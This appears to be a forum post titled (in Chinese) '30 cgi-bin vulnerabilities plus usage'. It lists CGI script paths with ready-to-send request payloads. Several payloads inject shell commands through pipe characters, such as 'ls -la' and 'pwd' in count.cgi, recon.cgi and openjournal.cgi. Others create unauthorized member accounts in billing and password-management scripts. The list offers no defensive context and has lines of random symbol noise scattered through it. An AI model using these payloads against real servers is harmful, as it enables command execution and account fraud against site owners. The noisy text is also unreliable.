Cgi-bin 30个漏洞＋使用方法

admin

==============================
7 I$ x( y9 }& A; }# I. c: {
/smspass.pl
username=username&password=password
6 F% T' U4 V2 N9 S* O+ f1 ]4 \$ b
0 h' q0 Z  ?9 N) i/index.cgi
5 e% K1 g  p9 u+ p/ _2 [( u8 |1 Bwei=ren&gen=command

/passmaster.cgi
Action=Add&Username=Username&Password=Password

/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|

, |5 L' d, j- x/ @/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
/ {, @7 ^; J: H3 H, @
+ N8 u4 W# R, p, R# B- k8 M/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
' r' `2 V% O' u/ w. \, \
/ccbill-local.asp
post_values=username:password

/count.cgi
pinfile=|echo;ls -la;exit|

! y: y+ [% m9 l/recon.cgi
% n: f8 y, |/ [, R, b, w1 ~9 u/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
& ~+ g; t" R* z. e( c: j, B3 @- `
/verotelrum.pl
- T5 n2 T4 k# ?8 l) Gvercode=username:password:dseegsow:add:amount<&30>

: j3 ]: \4 f9 C# x/ @. ~# b/af.cgi
! R& u6 V! f% [# G_browser_out=|echo;ls -la;exit;|
1 _/ J! H4 Y* {( v3 R; v2 Y
/modify.cgi
/ W9 D+ C9 J/ S( @9 {7 p2 X! xusername=username&password=password&expire=30

/openjournal.cgi
* l! I+ h4 w* b' \: @edit=1&ct=2&go=|echo;ls -al;exit|

/gx9passwd.cgi
cmd=ADD&user=username&pass=password

/probecontrol.cgi
- c: E  c3 z/ zcommand=enable&username=username&password=password

" \- S; D, W: S4 z; x. s+ V/recon.cgi
3 Y& Q: `1 S, Nsearchoption=3&searchfor=echo;ls -la;exit
# O, k5 Z* f! |7 }
' d" N& |# J3 i3 R/htadd.pl
: k2 e; ^) k, N# ?8 P" Dconfigfile=|echo; ls -alt; exit
3 a& E" U& S* h: V& n$ c
/gx9passwd.cgi
cmd=ADD&user=username&pass=password

/ibill*.pl
3 x# ]5 f2 b4 _reqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
- o+ l. {, W5 a" Ocommand=add_member&username=username(EMAIL)&password=password(DES)
" S2 i/ R, |& J! U0 @0 {
/globill_ut.cgi
do=add&username=username&password=password&wpassword=password
; n; m0 L* {% a0 D
# B+ ~. a% d% E. N  N4 v8 {/usercontrol.cgi
command=enable&username=USER&password=PASS

/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password
2 z: U. U( J. r  |! G- h8 I
/addusr.pl
user=USER&pass=PASS&confirm=PASS
* D+ \. t* o+ C' C3 H5 r: V
9 f. i: K6 f  g) v/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
" b, b0 ~- ~3 d/ i" R( dpinfile=|echo;pwd;exit|
& f5 i0 C. e4 i( ?% M5 L
. _  o0 e/ j9 E. L) W! H/accountcreate.cgi
/ L8 O$ ]: n- a/ K$ l3 C/cgi-bin/gateway/accountcreate.cgi
username=username&password=password&password2=password&ref1=|echo;ls -al;exit
, V0 O- j( {3 S' y! r6 s4 E) d) l$ @
" a( @1 f2 o* Q" ?: B/af.cgi
7 S8 ~# d9 ?/ B+ V3 Y8 L/env.cgi
ADD+;echo;pwd;exit
* z$ m4 M* {- C& [" E9 ^2 M# @
, t9 a1 u7 P+ T- w/count.cgi
pinfile=|echo;pwd;exit|

/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|
* V% J" b+ y! N5 P- b
. J: v8 b, j) }/add.cgi
6 Y# V$ N2 Y2 V, M1 X0 eusername=username&password=password&expire=30

; [1 F* Q* J7 ~7 H# k==============================